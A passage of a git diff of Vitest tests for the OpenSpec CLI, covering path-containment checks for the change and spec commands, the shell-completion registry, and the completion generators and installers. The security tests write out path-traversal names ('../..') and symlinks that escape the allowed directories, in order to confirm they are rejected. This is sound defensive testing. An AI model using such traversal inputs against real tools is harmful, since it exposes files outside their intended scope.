false })).rejects.toThrow(/not found at/); + await expect(cmd.show('notes.md', { json: false })).rejects.not.toThrow(/has no proposal\.md yet/); + }); + + it('does not read a proposal outside changes/ via a traversing name', async () => { + // Reachable target: openspec/changes/../../proposal.md is tempRoot/proposal.md. + // Without containment this resolves and the file is printed verbatim. + await fs.writeFile(path.join(tempRoot, 'proposal.md'), '# Outside the changes directory', 'utf-8'); + const traversal = path.join('..', '..'); + + await expect(cmd.show(traversal, { json: false })).rejects.toThrow(/not found at/); + await expect(cmd.show(traversal, { json: false })).rejects.not.toThrow(/has no proposal\.md yet/); + }); + + it.skipIf(process.platform === 'win32')( + 'does not read a proposal symlink outside changes/', + async () => { + const outsideProposal = path.join(tempRoot, 'outside-proposal.md'); + const linkedProposal = path.join( + tempRoot, + 'openspec', + 'changes', + 'linked-proposal', + 'proposal.md' + ); + await fs.writeFile(outsideProposal, '# Outside sentinel', 'utf-8'); + await fs.mkdir(path.dirname(linkedProposal), { recursive: true }); + await fs.symlink(outsideProposal, linkedProposal); + + await expect(cmd.show('linked-proposal', { json: false })).rejects.toThrow( + /outside the allowed directory/u + ); + } + ); + + it.skipIf(process.platform === 'win32')( + 'allows a linked change directory as its own trust root', + async () => { + const sharedChange = path.join(tempRoot, 'shared-change'); + await fs.mkdir(sharedChange); + await fs.writeFile( + path.join(sharedChange, 'proposal.md'), + '# Change: Shared safely\n\n## Why\n\nReuse a shared plan.\n\n## What Changes\n\n- Shared.\n', + 'utf-8' + ); + await fs.symlink( + sharedChange, + path.join(tempRoot, 'openspec', 'changes', 'shared-change') + ); + + await expect(cmd.show('shared-change', { json: false })).resolves.toBeUndefined(); + } + ); + + it('does not treat a nested name as a change', async () => { + const nested = path.join('sample-change', 'specs'); + await fs.mkdir(path.join(tempRoot, 'openspec', 'changes', 'sample-change', 'specs'), { recursive: true }); + + await expect(cmd.show(nested, { json: false })).rejects.toThrow(/not found at/); + await expect(cmd.show(nested, { json: false })).rejects.not.toThrow(/has no proposal\.md yet/); + }); + }); + it('validate --strict --json returns a report with valid boolean', async () => { const logs: string[] = []; const origLog = console.log; @@ -108,4 +184,8 @@ describe('ChangeCommand.show/validate', () => { console.log = origLog; } }); + + it('validate rejects a traversing change name', async () => { + await expect(cmd.validate(path.join('..', '..', 'outside'))).rejects.toThrow(/not found at/u); + }); }); diff --git a/test/core/commands/spec-command.security.test.ts b/test/core/commands/spec-command.security.test.ts new file mode 100644 index 0000000000..ec4b198ccd --- /dev/null +++ b/test/core/commands/spec-command.security.test.ts @@ -0,0 +1,82 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { SpecCommand } from '../../../src/commands/spec.js'; + +describe('SpecCommand path boundaries', () => { + let tempDir: string; + let originalCwd: string; + + beforeEach(async () => { + originalCwd = process.cwd(); + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-spec-command-security-')); + await fs.mkdir(path.join(tempDir, 'openspec', 'specs'), { recursive: true }); + process.chdir(tempDir); + }); + + afterEach(async () => { + process.chdir(originalCwd); + await fs.rm(tempDir, { recursive: true, force: true }); + }); + + it('rejects a traversing legacy spec id', async () => { + const outsideSpec = path.join(tempDir, 'outside', 'spec.md'); + await fs.mkdir(path.dirname(outsideSpec), { recursive: true }); + await fs.writeFile(outsideSpec, '# Outside sentinel'); + + await expect( + new SpecCommand().show(path.join('..', '..', 'outside')) + ).rejects.toThrow('Path is outside the allowed directory'); + }); + + it.skipIf(process.platform === 'win32')( + 'rejects a spec file symlink that leaves the specs root', + async () => { + const outsideSpec = path.join(tempDir, 'outside.md'); + const linkedSpec = path.join(tempDir, 'openspec', 'specs', 'linked', 'spec.md'); + await fs.writeFile(outsideSpec, '# Outside sentinel'); + await fs.mkdir(path.dirname(linkedSpec), { recursive: true }); + await fs.symlink(outsideSpec, linkedSpec); + + await expect(new SpecCommand().show('linked')).rejects.toThrow( + 'Path is outside the allowed directory' + ); + } + ); + + it.skipIf(process.platform === 'win32')( + 'allows a linked capability directory as its own trust root', + async () => { + const sharedCapability = path.join(tempDir, 'shared-capability'); + await fs.mkdir(sharedCapability); + await fs.writeFile( + path.join(sharedCapability, 'spec.md'), + '# Shared\n\n## Purpose\n\nShared safely.\n\n## Requirements\n' + ); + await fs.symlink( + sharedCapability, + path.join(tempDir, 'openspec', 'specs', 'shared') + ); + + await expect(new SpecCommand().show('shared')).resolves.toBeUndefined(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'allows a spec file symlink elsewhere in the specs root', + async () => { + const specsDir = path.join(tempDir, 'openspec', 'specs'); + const sharedSpec = path.join(specsDir, 'shared.md'); + const linkedSpec = path.join(specsDir, 'linked', 'spec.md'); + await fs.writeFile( + sharedSpec, + '# Shared\n\n## Purpose\n\nShared safely.\n\n## Requirements\n' + ); + await fs.mkdir(path.dirname(linkedSpec), { recursive: true }); + await fs.symlink(sharedSpec, linkedSpec); + + await expect(new SpecCommand().show('linked')).resolves.toBeUndefined(); + } + ); +}); diff --git a/test/core/completions/command-registry.test.ts b/test/core/completions/command-registry.test.ts new file mode 100644 index 0000000000..1137ff94ad --- /dev/null +++ b/test/core/completions/command-registry.test.ts @@ -0,0 +1,259 @@ +import { describe, expect, it } from 'vitest'; +import type { Command } from 'commander'; + +import { COMMAND_REGISTRY } from '../../../src/core/completions/command-registry.js'; +import { COMMON_FLAGS } from '../../../src/core/completions/shared-flags.js'; +import { STORE_SELECTION_GUIDANCE } from '../../../src/core/templates/workflows/store-selection.js'; +import { getCommandPath, program } from '../../../src/cli/index.js'; +import type { + CommandDefinition, + FlagDefinition, + PositionalDefinition, +} from '../../../src/core/completions/types.js'; + +function command(name: string) { + return COMMAND_REGISTRY.find((entry) => entry.name === name); +} + +describe('command completion registry', () => { + function registryChildren(commandList: CommandDefinition[] | undefined): Map<string, CommandDefinition> { + return new Map((commandList ?? []).map((entry) => [entry.name, entry])); + } + + function visibleChildCommands(command: Command): Command[] { + return command.commands.filter((child) => !(child as unknown as { _hidden?: boolean })._hidden); + } + + function commandAliases(command: Command): string[] { + return command.aliases(); + } + + interface FlagShape { + name: string; + short?: string; + takesValue?: true; + } + + interface PositionalShape { + name: string; + optional?: true; + } + + function normalizeName(name: string): string { + return name.replace(/[^a-z0-9]/giu, '').toLowerCase(); + } + + function toFlagShape(flag: FlagDefinition): FlagShape { + return { + name: flag.name, + ...(flag.short ? { short: flag.short } : {}), + ...(flag.takesValue ? { takesValue: true as const } : {}), + }; + } + + function toCommanderFlagShape(command: Command): FlagShape[] { + return command.options + .filter((option) => !option.hidden) + .map((option) => ({ + name: option.long.replace(/^--/u, ''), + ...(option.short ? { short: option.short.replace(/^-/, '') } : {}), + ...(option.required || option.optional ? { takesValue: true as const } : {}), + })); + } + + function sortedFlags(flags: FlagShape[]): FlagShape[] { + return [...flags].sort((left, right) => left.name.localeCompare(right.name)); + } + + function toPositionalShape(positional: PositionalDefinition): PositionalShape { + return { + name: normalizeName(positional.name), + ...(positional.optional ? { optional: true as const } : {}), + }; + } + + function toCommanderPositionalShapes(command: Command): PositionalShape[] { + return command.registeredArguments.map((argument) => ({ + name: normalizeName(argument.name()), + ...(argument.required ? {} : { optional: true as const }), + })); + } + + function assertPositionalParity( + commandPath: string, + command: Command, + entry: CommandDefinition + ): void { + const commandPositionals = toCommanderPositionalShapes(command); + + if (commandPositionals.length === 0) { + expect(entry.acceptsPositional ?? false, `${commandPath} accepts positional`).toBe(false); + expect(entry.positionals ?? [], `${commandPath} positionals`).toEqual([]); + return; + } + + expect(entry.acceptsPositional, `${commandPath} accepts positional`).toBe(true); + expect( + (entry.positionals ?? []).map(toPositionalShape), + `${commandPath} positionals` + ).toEqual(commandPositionals); + } + + function assertCommandShape( + commandPath: string, + command: Command, + entry: CommandDefinition + ): void { + expect(sortedFlags(entry.flags.map(toFlagShape)), `${commandPath} flags`).toEqual( + sortedFlags(toCommanderFlagShape(command)) + ); + assertPositionalParity(commandPath, command, entry); + } + + function assertRegistryParity( + command: Command, + registry: CommandDefinition[], + parentPath = '' + ): void { + const registryByName = registryChildren(registry); + + for (const child of visibleChildCommands(command)) { + const commandPath = parentPath ? `${parentPath} ${child.name()}` : child.name(); + const names = [child.name(), ...commandAliases(child)]; + for (const name of names) { + expect(registryByName.has(name), `missing completion entry for ${commandPath} alias ${name}`).toBe(true); + } + + const entry = registryByName.get(child.name()); + if (!entry) { + continue; + } + + assertCommandShape(commandPath, child, entry); + + for (const alias of commandAliases(child)) { + const aliasEntry = registryByName.get(alias); + expect(aliasEntry, `${commandPath} alias ${alias}`).toBeDefined(); + if (aliasEntry) { + assertCommandShape(`${commandPath} alias ${alias}`, child, aliasEntry); + } + } + + assertRegistryParity(child, entry.subcommands ?? [], commandPath); + } + } + + it('matches visible Commander command flags and aliases', () => { + assertRegistryParity(program, COMMAND_REGISTRY); + }); + + it('uses one --store description on every lifecycle command', () => { + const expected = COMMON_FLAGS.store.description; + const seen: string[] = []; + + function walk(command: Command, parentPath: string): void { + for (const child of command.commands) { + const commandPath = parentPath ? `${parentPath} ${child.name()}` : child.name(); + const storeOption = child.options.find((option) => option.long === '--store'); + if (storeOption) { + seen.push(commandPath); + expect(storeOption.description, `${commandPath} --store description`).toBe(expected); + } + walk(child, commandPath); + } + } + + walk(program, ''); + expect(seen.sort()).toEqual([ + 'archive', + 'context', + 'doctor', + 'instructions', + 'list', + 'new change', + 'show', + 'status', + 'validate', + 'view', + ]); + + // The store-selection guidance interpolated into every generated skill + // enumerates exactly these commands; drift here means agents are taught + // a stale flag surface. + for (const commandPath of seen) { + expect(STORE_SELECTION_GUIDANCE, `guidance names ${commandPath}`).toContain( + `\`${commandPath}\`` + ); + } + }); + + it('tracks store subcommands under the store: telemetry path', () => { + const storeGroup = program.commands.find((child) => child.name() === 'store'); + expect(storeGroup).toBeDefined(); + const setup = storeGroup?.commands.find((child) => child.name() === 'setup'); + expect(setup).toBeDefined(); + expect(getCommandPath(setup as Command)).toBe('store:setup'); + }); + + it('tracks top-level workflow commands', () => { + for (const name of ['status', 'instructions', 'templates', 'schemas', 'new']) { + expect(command(name), `${name} command`).toBeDefined(); + } + + expect(command('set'), 'set command should be removed').toBeUndefined(); + + const newChange = command('new')?.subcommands?.find((entry) => entry.name === 'change'); + expect(newChange?.flags.map((flag) => flag.name)).toEqual([ + 'description', + 'goal', + 'schema', + 'json', + 'store', + ]); + + const storeFlag = newChange?.flags.find((flag) => flag.name === 'store'); + expect(storeFlag?.description).toContain('OpenSpec root'); + expect(newChange?.flags.map((flag) => flag.name)).not.toContain('initiative'); + expect(newChange?.flags.map((flag) => flag.name)).not.toContain('areas'); + expect(newChange?.flags.map((flag) => flag.name)).not.toContain('store-path'); + }); + + it('advertises --store on the supported root-selection commands', () => { + for (const name of ['list', 'show', 'validate', 'archive', 'status', 'instructions', 'view']) { + const entry = command(name); + const store = entry?.flags.find((flag) => flag.name === 'store'); + expect(store, `${name} --store flag`).toBeDefined(); + expect(store?.description).toContain('OpenSpec root'); + expect(entry?.flags.map((flag) => flag.name)).not.toContain('store-path'); + } + }); + + it('tracks store commands and aliases', () => { + const store = command('store'); + + expect(store?.subcommands?.map((entry) => entry.name)).toEqual([ + 'setup', + 'register', + 'unregister', + 'remove', + 'list', + 'ls', + 'doctor', + ]); + + const setup = store?.subcommands?.find((entry) => entry.name === 'setup'); + expect(setup?.flags.map((flag) => flag.name)).toEqual([ + 'path', + 'init-git', + 'no-init-git', + 'remote', + 'json', + ]); + + const remove = store?.subcommands?.find((entry) => entry.name === 'remove'); + expect(remove?.flags.map((flag) => flag.name)).toEqual([ + 'yes', + 'json', + ]); + }); +}); diff --git a/test/core/completions/completion-provider.test.ts b/test/core/completions/completion-provider.test.ts index 2af6dc2437..8f14798675 100644 --- a/test/core/completions/completion-provider.test.ts +++ b/test/core/completions/completion-provider.test.ts @@ -2,7 +2,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { CompletionProvider } from '../../../src/core/completions/completion-provider.js'; describe('CompletionProvider', () => { @@ -10,8 +9,7 @@ describe('CompletionProvider', () => { let provider: CompletionProvider; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); provider = new CompletionProvider(2000, testDir); }); diff --git a/test/core/completions/generators/bash-generator.test.ts b/test/core/completions/generators/bash-generator.test.ts index e2d9bc3c85..fb84d6a553 100644 --- a/test/core/completions/generators/bash-generator.test.ts +++ b/test/core/completions/generators/bash-generator.test.ts @@ -332,6 +332,23 @@ describe('BashGenerator', () => { expect(script).toContain('compgen -f'); }); + it('should handle positional arguments for schema names', () => { + const commands: CommandDefinition[] = [ + { + name: 'schema', + description: 'Manage schemas', + acceptsPositional: true, + positionalType: 'schema-name', + flags: [], + }, + ]; + + const script = generator.generate(commands); + + expect(script).toContain('_openspec_complete_schemas'); + expect(script).toContain('openspec __complete schemas 2>/dev/null'); + }); + it('should generate dynamic completion helper for changes', () => { const commands: CommandDefinition[] = [ { diff --git a/test/core/completions/generators/fish-generator.test.ts b/test/core/completions/generators/fish-generator.test.ts index 794d04c961..3ea1de1a45 100644 --- a/test/core/completions/generators/fish-generator.test.ts +++ b/test/core/completions/generators/fish-generator.test.ts @@ -294,6 +294,23 @@ describe('FishGenerator', () => { expect(script).toContain('powershell'); }); + it('should handle positional arguments for schema names', () => { + const commands: CommandDefinition[] = [ + { + name: 'schema', + description: 'Manage schemas', + acceptsPositional: true, + positionalType: 'schema-name', + flags: [], + }, + ]; + + const script = generator.generate(commands); + + expect(script).toContain('__fish_openspec_schemas'); + expect(script).toContain('openspec __complete schemas 2>/dev/null'); + }); + it('should generate dynamic completion helper for changes', () => { const commands: CommandDefinition[] = [ { diff --git a/test/core/completions/generators/powershell-generator.test.ts b/test/core/completions/generators/powershell-generator.test.ts index 485bc2e361..120a3d36f6 100644 --- a/test/core/completions/generators/powershell-generator.test.ts +++ b/test/core/completions/generators/powershell-generator.test.ts @@ -1,5 +1,6 @@ import { describe, it, expect, beforeEach } from 'vitest'; import { PowerShellGenerator } from '../../../../src/core/completions/generators/powershell-generator.js'; +import { COMMAND_REGISTRY } from '../../../../src/core/completions/command-registry.js'; import { CommandDefinition } from '../../../../src/core/completions/types.js'; describe('PowerShellGenerator', () => { @@ -353,6 +354,23 @@ describe('PowerShellGenerator', () => { expect(script).toContain('"init"'); }); + it('should handle positional arguments for schema names', () => { + const commands: CommandDefinition[] = [ + { + name: 'schema', + description: 'Manage schemas', + acceptsPositional: true, + positionalType: 'schema-name', + flags: [], + }, + ]; + + const script = generator.generate(commands); + + expect(script).toContain('Get-OpenSpecSchemas'); + expect(script).toContain('openspec __complete schemas 2>$null'); + }); + it('should generate dynamic completion helper for changes', () => { const commands: CommandDefinition[] = [ { @@ -444,6 +462,36 @@ describe('PowerShellGenerator', () => { expect(script).toContain('Get-OpenSpecSpecs'); }); + it('should not emit an empty switch when no positional produces completions', () => { + const commands: CommandDefinition[] = [ + { + name: 'init', + description: 'Initialize OpenSpec', + flags: [ + { + name: 'tools', + description: 'AI tools to configure', + takesValue: true, + }, + ], + positionals: [{ name: 'path', type: 'path', optional: true }], + }, + ]; + + const script = generator.generate(commands); + + // An empty switch body is a PowerShell parse error that aborts the + // entire completion script ("Missing condition in switch statement clause"). + expect(script).not.toMatch(/switch \(\$positionalIndex\) \{\s*\}/); + expect(script).not.toContain('$positionalIndex'); + }); + + it('should not emit empty switch blocks for the real command registry', () => { + const script = generator.generate(COMMAND_REGISTRY); + + expect(script).not.toMatch(/switch \(\$positionalIndex\) \{\s*\}/); + }); + it('should not emit trailing commas in @() arrays', () => { const commands: CommandDefinition[] = [ { diff --git a/test/core/completions/generators/zsh-generator.test.ts b/test/core/completions/generators/zsh-generator.test.ts index 74bef2ac13..376f96350e 100644 --- a/test/core/completions/generators/zsh-generator.test.ts +++ b/test/core/completions/generators/zsh-generator.test.ts @@ -268,6 +268,50 @@ describe('ZshGenerator', () => { expect(script).toContain("'*:path:_files'"); }); + it('should handle positional arguments for schema names', () => { + const commands: CommandDefinition[] = [ + { + name: 'schema', + description: 'Manage schemas', + acceptsPositional: true, + positionalType: 'schema-name', + flags: [], + }, + ]; + + const script = generator.generate(commands); + + expect(script).toContain("'*: :_openspec_complete_schemas'"); + expect(script).toContain('_openspec_complete_schemas()'); + }); + + it('should emit optional indexed positional arguments with double-colon syntax', () => { + const commands: CommandDefinition[] = [ + { + name: 'workspace', + description: 'Manage workspaces', + flags: [], + subcommands: [ + { + name: 'link', + description: 'Link a folder', + acceptsPositional: true, + positionals: [ + { name: 'name-or-path', type: 'path', optional: true }, + { name: 'path', type: 'path' }, + ], + flags: [], + }, + ], + }, + ]; + + const script = generator.generate(commands); + + expect(script).toContain("'1::name-or-path:_files'"); + expect(script).toContain("'2:path:_files'"); + }); + it('should escape special characters in descriptions', () => { const commands: CommandDefinition[] = [ { @@ -284,7 +328,7 @@ describe('ZshGenerator', () => { const script = generator.generate(commands); - expect(script).toContain("\\'quotes\\'"); + expect(script).toContain("'\\''quotes'\\''"); expect(script).toContain('\\[brackets\\]'); expect(script).toContain('\\\\slash'); expect(script).toContain('\\:'); diff --git a/test/core/completions/installers/bash-installer.test.ts b/test/core/completions/installers/bash-installer.test.ts index 726b90d0be..a251031ee3 100644 --- a/test/core/completions/installers/bash-installer.test.ts +++ b/test/core/completions/installers/bash-installer.test.ts @@ -2,7 +2,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { BashInstaller } from '../../../../src/core/completions/installers/bash-installer.js'; describe('BashInstaller', () => { @@ -11,8 +10,7 @@ describe('BashInstaller', () => { beforeEach(async () => { // Create a temporary home directory for testing - testHomeDir = path.join(os.tmpdir(), `openspec-bash-test-${randomUUID()}`); - await fs.mkdir(testHomeDir, { recursive: true }); + testHomeDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-bash-test-')); installer = new BashInstaller(testHomeDir); }); @@ -151,6 +149,24 @@ describe('BashInstaller', () => { expect(result.message).toContain('Failed to install'); }); + it.skipIf(process.platform === 'win32')('should return failure when completion directory is not writable', async () => { + const targetPath = await installer.getInstallationPath(); + const targetDir = path.dirname(targetPath); + await fs.mkdir(targetDir, { recursive: true }); + await fs.chmod(targetDir, 0o555); + + let result: Awaited<ReturnType<BashInstaller['install']>> | undefined; + try { + result = await installer.install(testScript); + } finally { + await fs.chmod(targetDir, 0o755); + } + + expect(result?.success).toBe(false); + expect(result?.message).toContain('Failed to install'); + expect(result?.message).toContain(`Path is not writable: ${targetPath}`); + }); + it('should detect already-installed completion with identical content', async () => { // First installation const firstResult = await installer.install(testScript); @@ -190,8 +206,7 @@ describe('BashInstaller', () => { it('should handle paths with spaces in .bashrc config', async () => { // Create a test home directory with spaces - const testHomeDirWithSpaces = path.join(os.tmpdir(), `openspec bash test ${randomUUID()}`); - await fs.mkdir(testHomeDirWithSpaces, { recursive: true }); + const testHomeDirWithSpaces = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec bash test ')); const installerWithSpaces = new BashInstaller(testHomeDirWithSpaces); try { diff --git a/test/core/completions/installers/fish-installer.test.ts b/test/core/completions/installers/fish-installer.test.ts index 3993edfd5a..35a69b359c 100644 --- a/test/core/completions/installers/fish-installer.test.ts +++ b/test/core/completions/installers/fish-installer.test.ts @@ -3,15 +3,13 @@ import { FishInstaller } from '../../../../src/core/completions/installers/fish- import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; describe('FishInstaller', () => { let testHomeDir: string; let installer: FishInstaller; beforeEach(async () => { - testHomeDir = path.join(os.tmpdir(), `openspec-fish-test-${randomUUID()}`); - await fs.mkdir(testHomeDir, { recursive: true }); + testHomeDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-fish-test-')); installer = new FishInstaller(testHomeDir); }); @@ -179,8 +177,7 @@ complete -c openspec -a 'validate' -d 'Validate specs' }); it('should handle installation with paths containing spaces', async () => { - const spacedHomeDir = path.join(os.tmpdir(), `openspec fish test ${randomUUID()}`); - await fs.mkdir(spacedHomeDir, { recursive: true }); + const spacedHomeDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec fish test ')); const spacedInstaller = new FishInstaller(spacedHomeDir); const result = await spacedInstaller.install(mockCompletionScript); @@ -286,6 +283,23 @@ complete -c openspec -a 'init' expect(result.message).toBe('Completion script uninstalled successfully'); }); + it.skipIf(process.platform === 'win32')('should uninstall read-only file when parent directory is writable', async () => { + await installer.install(mockCompletionScript); + const targetPath = path.join(testHomeDir, '.config', 'fish', 'completions', 'openspec.fish'); + await fs.chmod(targetPath, 0o444); + + let result: Awaited<ReturnType<FishInstaller['uninstall']>> | undefined; + try { + result = await installer.uninstall(); + } finally { + await fs.chmod(targetPath, 0o644).catch(() => undefined); + } + + const fileExists = await fs.access(targetPath).then(() => true).catch(() => false); + expect(result?.success).toBe(true); + expect(fileExists).toBe(false); + }); + // Skip on Windows: fs.chmod() on directories doesn't restrict write access on Windows // Windows uses ACLs which Node.js chmod doesn't control it.skipIf(process.platform === 'win32')('should return failure on permission error', async () => { diff --git a/test/core/completions/installers/powershell-installer.test.ts b/test/core/completions/installers/powershell-installer.test.ts index 0c7d6f7995..a1e90b2cc2 100644 --- a/test/core/completions/installers/powershell-installer.test.ts +++ b/test/core/completions/installers/powershell-installer.test.ts @@ -3,7 +3,6 @@ import { PowerShellInstaller } from '../../../../src/core/completions/installers import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; describe('PowerShellInstaller', () => { let testHomeDir: string; @@ -11,9 +10,16 @@ describe('PowerShellInstaller', () => { let originalPlatform: NodeJS.Platform; let originalEnv: NodeJS.ProcessEnv; + const restoreEnvValue = (key: string, value: string | undefined): void => { + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + }; + beforeEach(async () => { - testHomeDir = path.join(os.tmpdir(), `openspec-powershell-test-${randomUUID()}`); - await fs.mkdir(testHomeDir, { recursive: true }); + testHomeDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-powershell-test-')); installer = new PowerShellInstaller(testHomeDir); originalPlatform = process.platform; originalEnv = { ...process.env }; @@ -257,6 +263,28 @@ describe('PowerShellInstaller', () => { expect(result).toBe(false); }); + + it.skipIf(process.platform === 'win32')('should not create profile directory when parent is not writable', async () => { + const originalNoAutoConfig = process.env.OPENSPEC_NO_AUTO_CONFIG; + const restrictedHome = path.join(testHomeDir, 'restricted-home'); + await fs.mkdir(restrictedHome); + await fs.chmod(restrictedHome, 0o555); + const restrictedInstaller = new PowerShellInstaller(restrictedHome); + const profileDir = path.dirname(restrictedInstaller.getProfilePath()); + + let result = true; + try { + delete process.env.OPENSPEC_NO_AUTO_CONFIG; + result = await restrictedInstaller.configureProfile(mockScriptPath); + } finally { + restoreEnvValue('OPENSPEC_NO_AUTO_CONFIG', originalNoAutoConfig); + await fs.chmod(restrictedHome, 0o755); + } + + const profileDirExists = await fs.access(profileDir).then(() => true).catch(() => false); + expect(result).toBe(false); + expect(profileDirExists).toBe(false); + }); }); describe('removeProfileConfig', () => { @@ -489,8 +517,7 @@ Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter }); it('should handle installation with paths containing spaces', async () => { - const spacedHomeDir = path.join(os.tmpdir(), `openspec powershell test ${randomUUID()}`); - await fs.mkdir(spacedHomeDir, { recursive: true }); + const spacedHomeDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec powershell test ')); const spacedInstaller = new PowerShellInstaller(spacedHomeDir); const result = await spacedInstaller.install(mockCompletionScript); @@ -767,6 +794,26 @@ Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter expect(result.message).toBe('Completion script uninstalled successfully'); }); + it.skipIf(process.platform === 'win32')('should uninstall read-only completion script when parent directory is writable', async () => { + const originalNoAutoConfig = process.env.OPENSPEC_NO_AUTO_CONFIG; + const targetPath = installer.getInstallationPath(); + let result: Awaited<ReturnType<PowerShellInstaller['uninstall']>> | undefined; + + try { + delete process.env.OPENSPEC_NO_AUTO_CONFIG; + await installer.install(mockCompletionScript); + await fs.chmod(targetPath, 0o444); + result = await installer.uninstall(); + } finally { + restoreEnvValue('OPENSPEC_NO_AUTO_CONFIG', originalNoAutoConfig); + await fs.chmod(targetPath, 0o644).catch(() => undefined); + } + + const scriptExists = await fs.access(targetPath).then(() => true).catch(() => false); + expect(result?.success).toBe(true); + expect(scriptExists).toBe(false); + }); + it('should handle both script and config removal', async () => { delete process.env.OPENSPEC_NO_AUTO_CONFIG; await installer.install(mockCompletionScript); diff --git a/test/core/completions/installers/zsh-installer.test.ts b/test/core/completions/installers/zsh-installer.test.ts index a6827f4be0..07348ee9bb 100644 --- a/test/core/completions/installers/zsh-installer.test.ts +++ b/test/core/completions/installers/zsh-installer.test.ts @@ -2,21 +2,41 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { ZshInstaller } from '../../../../src/core/completions/installers/zsh-installer.js'; describe('ZshInstaller', () => { let testHomeDir: string; let installer: ZshInstaller; + let originalZsh: string | undefined; + let originalZshCustom: string | undefined; beforeEach(async () => { + // Clear $ZSH and $ZSH_CUSTOM (set by a real Oh My Zsh install) so the + // installer resolves against the isolated test home directory instead of + // reading — or writing into — the developer's real OMZ tree + originalZsh = process.env.ZSH; + delete process.env.ZSH; + originalZshCustom = process.env.ZSH_CUSTOM; + delete process.env.ZSH_CUSTOM; + // Create a temporary home directory for testing - testHomeDir = path.join(os.tmpdir(), `openspec-zsh-test-${randomUUID()}`); - await fs.mkdir(testHomeDir, { recursive: true }); + testHomeDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-zsh-test-')); installer = new ZshInstaller(testHomeDir); }); afterEach(async () => { + // Restore original environment + if (originalZsh !== undefined) { + process.env.ZSH = originalZsh; + } else { + delete process.env.ZSH; + } + if (originalZshCustom !== undefined) { + process.env.ZSH_CUSTOM = originalZshCustom; + } else { + delete process.env.ZSH_CUSTOM; + } + // Clean up test directory await fs.rm(testHomeDir, { recursive: true, force: true }); }); @@ -27,6 +47,14 @@ describe('ZshInstaller', () => { expect(isInstalled).toBe(false); }); + it('should return true when $ZSH environment variable is set', async () => { + // No .oh-my-zsh directory in testHomeDir; detection relies on $ZSH alone + process.env.ZSH = path.join(testHomeDir, '.oh-my-zsh'); + + const isInstalled = await installer.isOhMyZshInstalled(); + expect(isInstalled).toBe(true); + }); + it('should return true when Oh My Zsh directory exists', async () => { // Create .oh-my-zsh directory const ohMyZshPath = path.join(testHomeDir, '.oh-my-zsh'); @@ -64,6 +92,30 @@ describe('ZshInstaller', () => { expect(result.isOhMyZsh).toBe(false); expect(result.path).toBe(path.join(testHomeDir, '.zsh', 'completions', '_openspec')); }); + + it('should honor $ZSH for an Oh My Zsh install at a custom location', async () => { + // A relocated OMZ exports $ZSH; writing under ~/.oh-my-zsh instead + // would create a tree that no shell ever loads. + const customRoot = path.join(testHomeDir, 'dotfiles', 'omz'); + process.env.ZSH = customRoot; + + const result = await installer.getInstallationPath(); + + expect(result.isOhMyZsh).toBe(true); + expect(result.path).toBe(path.join(customRoot, 'custom', 'completions', '_openspec')); + }); + + it('should honor $ZSH_CUSTOM over the derived custom dir', async () => { + process.env.ZSH = path.join(testHomeDir, 'dotfiles', 'omz'); + process.env.ZSH_CUSTOM = path.join(testHomeDir, 'dotfiles', 'omz-custom'); + + const result = await installer.getInstallationPath(); + + expect(result.isOhMyZsh).toBe(true); + expect(result.path).toBe( + path.join(testHomeDir, 'dotfiles', 'omz-custom', 'completions', '_openspec') + ); + }); }); describe('backupExistingFile', () => { @@ -167,6 +219,7 @@ describe('ZshInstaller', () => { const result = await installer.install(testScript); + expect(result.zshrcConfigured).toBe(false); expect(result.instructions).toBeDefined(); expect(result.instructions!.length).toBeGreaterThan(0); // Should include guidance about verifying fpath for Oh My Zsh @@ -193,16 +246,16 @@ describe('ZshInstaller', () => { } }); - it('should handle installation errors gracefully', async () => { - // Create installer with non-existent/invalid home directory - // Use a path that will fail on both Unix and Windows - const invalidPath = process.platform === 'win32' - ? 'Z:\\nonexistent\\invalid\\path' // Non-existent drive letter on Windows - : '/root/invalid/nonexistent/path'; // Permission-denied path on Unix - const invalidInstaller = new ZshInstaller(invalidPath); + it.skipIf(process.platform === 'win32')('should handle installation errors gracefully', async () => { + const restrictedHome = path.join(testHomeDir, 'restricted-home'); + await fs.mkdir(restrictedHome, { recursive: true }); + await fs.chmod(restrictedHome, 0o555); + const invalidInstaller = new ZshInstaller(restrictedHome); const result = await invalidInstaller.install(testScript); + await fs.chmod(restrictedHome, 0o755); + expect(result.success).toBe(false); expect(result.message).toContain('Failed to install'); }); @@ -249,8 +302,7 @@ describe('ZshInstaller', () => { it('should handle paths with spaces in .zshrc config', async () => { // Create a test home directory with spaces - const testHomeDirWithSpaces = path.join(os.tmpdir(), `openspec zsh test ${randomUUID()}`); - await fs.mkdir(testHomeDirWithSpaces, { recursive: true }); + const testHomeDirWithSpaces = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec zsh test ')); const installerWithSpaces = new ZshInstaller(testHomeDirWithSpaces); try { @@ -505,16 +557,16 @@ describe('ZshInstaller', () => { } }); - it('should handle write permission errors gracefully', async () => { - // Create installer with path that can't be written - // Use a path that 